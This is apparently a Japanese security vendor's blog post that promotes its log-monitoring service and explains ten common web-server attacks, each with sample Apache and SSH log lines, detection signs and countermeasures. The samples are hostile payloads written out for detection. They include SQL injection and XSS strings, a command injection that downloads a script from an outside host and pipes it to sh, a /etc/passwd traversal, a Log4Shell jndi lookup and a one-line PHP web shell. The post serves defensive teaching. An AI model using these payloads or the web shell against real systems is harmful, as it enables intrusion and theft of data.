本記事は、当社の情報漏洩未然検知サービス「Previento(プレビエント)」の検知ルールを設計・調整する中で整理した内容をもとにしています。記事中のログはすべて説明用に作成した架空のもので、IPアドレスは文書用に予約されたアドレス(203.0.113.0/24 など)を使っています。攻撃の手口は、防御と検知のために一般に知られている範囲で紹介します。
攻撃は「狙われた会社」だけに来るわけではない
サイバー攻撃というと、特定の大企業を狙った高度な攻撃を思い浮かべるかもしれません。しかし、Webサーバーに届く攻撃の大半は、ツールがインターネット上のサーバーを機械的に巡回して試すものです。相手を選んでいるわけではないため、会社の規模や知名度に関係なく、公開したその日から届きます。
IPA(情報処理推進機構)の「情報セキュリティ10大脅威 2026」でも、組織向けの脅威として「システムの脆弱性を悪用した攻撃」が4位に挙がっています。また IPA の「安全なウェブサイトの作り方」は、SQLインジェクションやOSコマンド・インジェクションなど、Webサイトで届出の多い脆弱性11種類とその対策をまとめています。
攻撃の多くは失敗に終わります。問題は、その中に成功してしまう1回が紛れていても気づけないことです。本記事では、代表的な攻撃手法を「サーバーのログにどう見えるか」という視点で整理します。
攻撃は4つの段階で進む
個々の手法を見る前に、攻撃全体の流れを押さえておきます。情報漏洩につながる攻撃は、おおむね次の4つの段階で進みます。どの段階かによって、ログに残る痕跡も、急ぐべき度合いも変わります。
| 段階 | 攻撃者がしていること | ログに出やすい痕跡 |
|---|---|---|
| 1. 偵察 | どんなソフトが動いているか、弱そうな場所はどこかを調べる | 存在しないURLへの大量のアクセス(404)、スキャナの User-Agent |
| 2. 侵入の試行 | 脆弱性を突く文字列を送る、パスワードを総当たりする | URLやパラメータに含まれる攻撃の文字列、ログイン失敗の連続 |
| 3. 成功・足場づくり | ログインに成功する、遠隔操作用のファイル(Webシェル)を置く | 失敗続きのあとのログイン成功、攻撃への成功応答(2xx)、見覚えのないスクリプト |
| 4. 持ち出し | データベースや画面からデータをまとめて取得する | 連番IDの総なめ、個人情報ページへの大量アクセス、転送量の急増 |
段階1・2の痕跡は毎日のように出ます。一方、段階3以降の痕跡が出たら、すぐに確認が必要です。同じIPアドレスが段階1から段階4へ進んでいないかを追うことが、漏洩を「起きる前」に止める鍵になります。
代表的な攻撃手法10選と、ログに残る痕跡
ここからは、Webサーバーで実際によく見かける攻撃手法を10種紹介します。ログの例は、Apache のアクセスログ(combined 形式)と、Linux の認証ログを簡略化したものです。行末近くの3桁の数字がHTTPステータス(200=成功、302=転送、404=存在しない)、その次が応答のサイズ(バイト)です。
1. SQLインジェクション
検索欄やURLのパラメータに SQL(データベースへの命令文)の断片を混ぜ込み、本来とは違う命令を実行させる攻撃です。成功すると、会員情報などのテーブルを丸ごと読み出されるおそれがあります。個人情報漏洩に直結しやすい、もっとも警戒すべき手法の1つです。
203.0.113.24 - - [14/Oct/2026:02:41:09 +0900] "GET /item?id=1%27%20UNION%20SELECT%20name,email,tel%20FROM%20members--%20- HTTP/1.1" 200 51834 "-" "sqlmap/1.8"
%27 はシングルクォート(')をURL用に変換したものです。UNION SELECT、OR 1=1、SLEEP( などが典型的な痕跡で、User-Agent の sqlmap は自動化ツールの名前です。対策の基本は、SQL文をプレースホルダ(パラメータを後から埋め込む仕組み)で組み立て、入力値をSQLの一部として解釈させないことです。
2. クロスサイト・スクリプティング(XSS)
入力した文字列がそのままページに表示される箇所に、JavaScript を埋め込む攻撃です。閲覧した利用者のブラウザでスクリプトが動き、ログイン状態(Cookie)の盗み出しや、偽の入力フォームの表示に悪用されます。
198.51.100.7 - - [14/Oct/2026:10:12:44 +0900] "GET /search?q=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1" 200 8421 "-" "Mozilla/5.0"
%3Cscript%3E は <script> のことです。onerror= や javascript: も同じ目的で使われます。対策は、ページに出力する値を必ずエスケープ(< を < に置き換えるなど)することです。
3. OSコマンド・インジェクション
サーバー側でOSのコマンドを呼び出している機能(ping の実行、画像変換など)に、別のコマンドを連結して送り込む攻撃です。成功すると、サーバーを直接操作されるのと同じ状態になります。
203.0.113.51 - - [14/Oct/2026:04:03:27 +0900] "GET /tools/ping?host=127.0.0.1;wget%20http://198.51.100.50/x.sh%20-O-|sh HTTP/1.1" 200 1290 "-" "curl/8.5.0"
; や |、$( のあとに wget・curl・sh が続くのが典型です。外部から不正なプログラムを取得して実行させようとしています。対策は、そもそもシェルを経由してコマンドを呼ばない設計にすること、やむを得ない場合も入力値を許可した文字だけに絞ることです。
4. パストラバーサル(ディレクトリ・トラバーサル)
ファイル名を受け取る機能(ダウンロード、テンプレートの切り替えなど)に ../ を連ねて渡し、公開していないサーバー内のファイルを読み出す攻撃です。
203.0.113.66 - - [14/Oct/2026:01:17:52 +0900] "GET /download?file=../../../../etc/passwd HTTP/1.1" 200 2817 "-" "Mozilla/5.0"
/etc/passwd は Linux のユーザー一覧のファイルで、読めるかどうかの確認によく使われます。この例のように2xx(成功)が返っていたら、実際にファイルが読めた可能性が高い状況です。対策は、ファイル名を利用者から直接受け取らず、IDなどで間接的に指定させることです。
5. ファイルインクルードと Log4Shell
プログラムが読み込むファイルを外から指定させる「ファイルインクルード」や、ログ出力ライブラリ Log4j の脆弱性を突く「Log4Shell」は、サーバーに外部のプログラムを読み込ませて実行させるタイプの攻撃です。Log4Shell は2021年に見つかった脆弱性ですが、古いシステムが残っていることを期待した試し打ちが、いまも届きます。
198.51.100.31 - - [14/Oct/2026:05:22:10 +0900] "GET /index.php?page=php://filter/convert.base64-encode/resource=config HTTP/1.1" 200 734 "-" "Mozilla/5.0"
198.51.100.32 - - [14/Oct/2026:05:22:13 +0900] "GET / HTTP/1.1" 200 15502 "-" "${jndi:ldap://198.51.100.9:1389/a}"
php:// や外部URLを値に持つパラメータ、${jndi: で始まる文字列が痕跡です。Log4Shell は User-Agent などのヘッダーに仕込まれることが多いため、URLだけでなくヘッダーも見る必要があります。対策は、ライブラリとミドルウェアを更新し続けることに尽きます。
6. 設定ファイル・バックアップの探索
データベースのパスワードなどを書いた設定ファイルや、うっかり公開領域に置いたバックアップを探す攻撃です。脆弱性を突くわけではなく、置き忘れたファイルを拾うだけなので、成功したときの被害に比べて手間がかかりません。
203.0.113.90 - - [14/Oct/2026:03:30:01 +0900] "GET /.env HTTP/1.1" 404 196 "-" "Mozilla/5.0"
203.0.113.90 - - [14/Oct/2026:03:30:01 +0900] "GET /.git/config HTTP/1.1" 404 196 "-" "Mozilla/5.0"
203.0.113.90 - - [14/Oct/2026:03:30:02 +0900] "GET /wp-config.php.bak HTTP/1.1" 404 196 "-" "Mozilla/5.0"
203.0.113.90 - - [14/Oct/2026:03:30:02 +0900] "GET /backup.zip HTTP/1.1" 200 48213877 "-" "Mozilla/5.0"
404 が並ぶのは「ありませんでした」なので問題ありません。危ないのは最後の行のように、探されたファイルに 200 が返り、大きなデータが送られているケースです。対策は、.env・.git・バックアップをドキュメントルート(公開領域)に置かないこと、置かざるを得ない場合は Web サーバーの設定で外からの取得を禁止することです。
7. 脆弱性スキャナ・ディレクトリスキャン
攻撃の「下見」です。脆弱性診断用のツールを使って、管理画面の場所や古いプラグインの有無を、大量のURLへのアクセスで調べます。これ自体で情報が漏れるわけではありませんが、次の段階の攻撃の前触れになります。
198.51.100.14 - - [14/Oct/2026:00:05:11 +0900] "GET /admin/ HTTP/1.1" 404 196 "-" "Mozilla/5.0 (compatible; Nuclei)"
198.51.100.14 - - [14/Oct/2026:00:05:11 +0900] "GET /phpmyadmin/ HTTP/1.1" 404 196 "-" "Mozilla/5.0 (compatible; Nuclei)"
198.51.100.14 - - [14/Oct/2026:00:05:12 +0900] "GET /wp-content/plugins/old-gallery/readme.txt HTTP/1.1" 404 196 "-" "Mozilla/5.0 (compatible; Nuclei)"
(同じIPから、数分間に数百件の 404 が続く)
短時間に 404 ばかりが続く、nikto・nuclei・wpscan などツール名の User-Agent が出る、といった形で現れます。WordPress の場合は ?author=1 や /wp-json/wp/v2/users でログインに使うユーザー名を集める動きもよく見かけます。
8. ログインの総当たり・パスワードリスト攻撃
管理画面やSSHに対して、パスワードを次々に試す攻撃です。辞書の単語を順に試す「総当たり(ブルートフォース)」と、他のサービスから流出したIDとパスワードの組を試す「パスワードリスト攻撃」があります。後者は使い回しのパスワードが狙われるため、少ない回数で当たることがあります。
203.0.113.80 - - [14/Oct/2026:03:01:02 +0900] "POST /wp-login.php HTTP/1.1" 200 4512 "-" "Mozilla/5.0"
203.0.113.80 - - [14/Oct/2026:03:01:04 +0900] "POST /wp-login.php HTTP/1.1" 200 4512 "-" "Mozilla/5.0"
(同じ応答が数十回続く)
203.0.113.80 - - [14/Oct/2026:03:04:37 +0900] "POST /wp-login.php HTTP/1.1" 302 0 "-" "Mozilla/5.0"
Oct 14 03:02:11 web01 sshd[2211]: Failed password for invalid user admin from 203.0.113.80 port 51122 ssh2
Oct 14 03:02:14 web01 sshd[2213]: Failed password for root from 203.0.113.80 port 51130 ssh2
Oct 14 03:05:40 web01 sshd[2290]: Accepted password for deploy from 203.0.113.80 port 51388 ssh2
WordPress のログイン画面は、失敗するとログイン画面を再表示(200)し、成功すると管理画面へ転送(302)します。つまり、200 が続いたあとの 302 は「当てられた」サインです。SSHでも、Failed password が続いたあとの Accepted password は同じ意味を持ちます。対策は、多要素認証、SSHのパスワード認証の無効化(鍵認証のみ)、ログイン試行回数の制限です。
9. Webシェルの設置
侵入に成功した攻撃者が、次からいつでも入れるように置く遠隔操作用のスクリプトです。画像アップロード機能の悪用や、盗んだFTPアカウントで設置されます。ブラウザからアクセスするだけで、サーバー上でコマンドを実行できるようになります。
203.0.113.80 - - [15/Oct/2026:02:12:33 +0900] "POST /wp-content/uploads/2026/10/img_cache.php HTTP/1.1" 200 312 "-" "Mozilla/5.0"
(ファイルの中身の例)
<?php @eval(base64_decode($_POST['c'])); ?>
画像を置くはずのアップロード領域にある .php ファイルへの POST は、それだけで強い不審点です。中身には eval(base64_decode(…)) のような、受け取った命令を解読して実行する記述がよく見られます。アクセスログだけでは見落としやすいため、公開ディレクトリのファイルが増えた・変わったこと自体を監視するのが有効です。
10. 連番IDの列挙(データの総なめ)
URLに含まれる注文番号や会員番号を1つずつ変えて、他人のページを次々に表示させる攻撃です。特別な攻撃文字列を使わないふつうのアクセスに見えるため、WAF などの入口の防御ではもっとも止めにくい手法です。原因は、IPA の資料でいう「アクセス制御や認可制御の欠落」、つまり「そのページを見てよい人か」の確認漏れです。
198.51.100.77 - - [15/Oct/2026:23:40:01 +0900] "GET /mypage/order?id=10231 HTTP/1.1" 200 6120 "-" "python-requests/2.32"
198.51.100.77 - - [15/Oct/2026:23:40:01 +0900] "GET /mypage/order?id=10232 HTTP/1.1" 200 6087 "-" "python-requests/2.32"
198.51.100.77 - - [15/Oct/2026:23:40:02 +0900] "GET /mypage/order?id=10233 HTTP/1.1" 200 6143 "-" "python-requests/2.32"
(id を1ずつ増やしながら、数分間に数千件)
1件ずつ見ると正常な表示ですが、同じIPが同じ形のURLで、異なるIDを短時間に大量に取得しているのが痕跡です。対策の本筋は、表示のたびにログイン中の利用者とデータの持ち主が一致するかを確かめる実装です。あわせて、個人情報を扱うページへのアクセス量を監視しておくと、実装の確認漏れがあっても被害の拡大を食い止められます。
10の手法の早見表
| 手法 | ログの痕跡 | 主な対策 |
|---|---|---|
| SQLインジェクション | UNION SELECT・OR 1=1・SLEEP( | プレースホルダ |
| XSS | <script・onerror= | 出力時のエスケープ |
| OSコマンド・インジェクション | ;wget・|sh・$( | シェルを経由しない設計 |
| パストラバーサル | ../・/etc/passwd | ファイル名を直接受け取らない |
| ファイルインクルード・Log4Shell | php://・${jndi: | ライブラリ・ミドルウェアの更新 |
| 設定ファイルの探索 | /.env・/.git/・*.zip | 公開領域に置かない |
| スキャナ・ディレクトリスキャン | 404 の連続、ツール名の User-Agent | 不要な画面・プラグインの削除 |
| ログインの総当たり | 失敗の連続、そのあとの成功 | 多要素認証・鍵認証・回数制限 |
| Webシェルの設置 | アップロード領域の .php、ファイルの新規作成 | アップロード領域での実行禁止 |
| 連番IDの列挙 | 同じ形のURLで異なるIDを大量取得 | 表示ごとの権限確認 |
「試みられた」と「成功した」を分けて見る
ここまでのログ例を見るとわかるとおり、攻撃の文字列が含まれているだけなら、それは「試みられた」にすぎません。公開サーバーではこうした試行が毎日届くため、試行のたびに担当者へ緊急の通知を送ると、すぐに誰も通知を見なくなります。本当に知らせるべきなのは、「成功したかもしれない」兆候です。
- 攻撃への成功応答——設定ファイルやパストラバーサルの要求に 2xx が返った。SQLインジェクションの要求に、そのページのふだんより明らかに大きい応答が返った
- 失敗の連続のあとの成功——ログイン失敗が続いた同じIPから、ログイン成功(302・
Accepted password)が出た - 攻撃のあとの大量取得——攻撃と成功の兆候を示した同じIPが、続けて連番IDの総なめや大量のダウンロードをした
特に重要なのは、同じIPアドレスの動きを時系列でつなげて見ることです。1行ずつでは「よくある試行」にしか見えないログも、「偵察 → 攻撃 → 成功の兆候 → 大量取得」と並べると、侵害と持ち出しが進んでいる様子がはっきりします。
当社でもつまずいた「成功の判定」
Previento を開発する中で、当初は「攻撃の文字列を含む要求に 2xx が返ったら成功の疑い」としていました。ところが、これでは誤検知が多く出ました。たとえば WordPress のサイト内検索(?s=)は、どんな文字列を受け取っても「検索結果なし」のページを 200 で返します。攻撃の文字列が無視されただけなのに、成功と判定してしまったのです。
そこで、判定を次のように改めました。
- 応答のサイズを比べる——そのページのふだんの応答や、別の攻撃文字列への応答とほぼ同じサイズなら「値は無視された」とみなし、成功としない
- 決め手がないものは「要確認」に留める——ふだんの応答を見たことがないページなど、成否を判定できないときは重大扱いにしない
- 試行は警告、成功の兆候で初めて重大——重要度を段階に分け、緊急の通知が本当に必要なものだけに届くようにする
ログだけで攻撃の成否を100%判定することはできません。それでも、「試行」と「成功の兆候」を分け、成功の兆候を同じIPの前後のログと一緒に示せば、担当者が数分で事実を確認できる状態にはできます。
対策は「入口・認証・公開範囲・監視」の層で考える
10の手法の対策を並べると、どれか1つの製品で全部を防げるわけではないことがわかります。当社では、Webサーバーの守りを次の4つの層に分けて考えています。
| 層 | 主な対策 | 主に防げる手法 |
|---|---|---|
| 入口(作り) | プレースホルダ、エスケープ、シェルを経由しない設計、ソフトの更新、WAF | 1〜5 |
| 認証 | 多要素認証、SSHの鍵認証、試行回数の制限、パスワードの使い回し禁止 | 8 |
| 公開範囲・権限 | 設定ファイルを公開領域に置かない、アップロード領域での実行禁止、表示ごとの権限確認 | 6・9・10 |
| 監視 | ログとファイルの変化を見て、すり抜けた攻撃の兆候に気づく | すべて(特に成功の兆候) |
入口・認証・公開範囲の3層は「防ぐ」ための対策です。ただし、古いプラグインの脆弱性や、流出したパスワードの使い回し、実装の確認漏れなど、防御には必ずどこかに穴が残ります。最後の監視の層は、その穴を通り抜けた攻撃に、被害が広がる前に気づくための層です。
Previento での検知
当社の「Previento(プレビエント)」は、この監視の層を担うクラウド型のサービスです。Webサーバー・DBサーバーのログを24時間読み取り、本記事で紹介した10の手法を含む50種類以上の検知ルールで判定します。
- サイトへの攻撃——SQLインジェクション・XSS・OSコマンド・インジェクション・パストラバーサル・ファイルインクルード・Log4Shell・設定ファイルの探索・スキャナの利用を検知し、成功を示す応答が返ったかも判定
- ログインの総当たりと成功——Web の管理画面・SSH・データベースへの総当たりを検知。失敗が続いたあとの成功は重大として通知
- Webシェルの設置——公開ディレクトリのスクリプトの新規作成・変更と、Webシェルの特徴を持つ記述を検知
- データの持ち出し——連番IDの総なめ、個人情報を扱うページへの大量アクセス、転送量の急増を検知
- 流れの相関——同じIPの「攻撃 → 成功の兆候 → 大量取得」をつなぎ、「侵害の疑い」「データ持ち出しの疑い」としてまとめて通知
検知の内容は、重要度(重大・警告・情報)に分けて LINE・Slack・メールへ届きます。管理画面では、検知ごとに「何が起きているか」「放置するとどうなるか」「今すぐやること」「誤検知の可能性」を、専門用語を避けた日本語で確認できます。なお、検知のしきい値(何回・何分で判定するか)は、回避の手がかりになるため公開していません。お客様のサイトの通常のアクセス量に合わせて調整します。
管理画面・料金・導入の流れは Previento の製品ページ で紹介しています。初期費用0円、月額3万円〜(税別)、最短3営業日で稼働します。
よくある質問(FAQ)
- Q. 小規模な会社のWebサイトでも攻撃されますか?
- A. はい。攻撃の多くは、ツールがインターネット上のサーバーを機械的に巡回して試すもので、会社の規模や知名度で相手を選んでいるわけではありません。公開して間もないサイトにも、設定ファイルの探索やログインの総当たりが届きます。
- Q. WAFを導入していれば、ログの監視は不要ですか?
- A. WAFは既知の攻撃パターンを入口で止めるのに有効ですが、盗まれた正規のパスワードによるログインや、正規の画面を使った連番IDの大量取得は、ふつうのアクセスと見分けにくく、すり抜けることがあります。ログを見て「攻撃のあとに成功の兆候があったか」を確かめる監視と組み合わせるのが安全です。
- Q. Previento は、どの攻撃手法を検知できますか?
- A. 本記事で紹介した10種を含め、50種類以上の検知ルールで、SQLインジェクションなどのサイトへの攻撃、ログインの総当たりと成功、Webシェルの設置、連番IDによる大量取得などを検知します。攻撃が成功した兆候は重大として、LINE・Slack・メールへ即時に通知します。
まとめ
Webサーバーを狙う代表的な攻撃手法として、SQLインジェクション・XSS・OSコマンド・インジェクション・パストラバーサル・ファイルインクルードと Log4Shell・設定ファイルの探索・スキャナ・ログインの総当たり・Webシェルの設置・連番IDの列挙の10種を、ログの痕跡と対策つきで紹介しました。どの手法も、アクセスログや認証ログに読み取れる形で痕跡が残ります。
大切なのは、毎日届く「試行」と、まれに紛れ込む「成功の兆候」を分けて見ることです。成功の兆候を、同じIPの前後の動きと一緒に確かめられれば、侵入されてから外部の指摘で気づく、という事態を避けやすくなります。
当社の「Previento」は、この見分けを24時間続けるサービスです。「自社のサーバーにどんな攻撃が来ているか見てみたい」「ログはあるが誰も見ていない」という段階のご相談も歓迎です。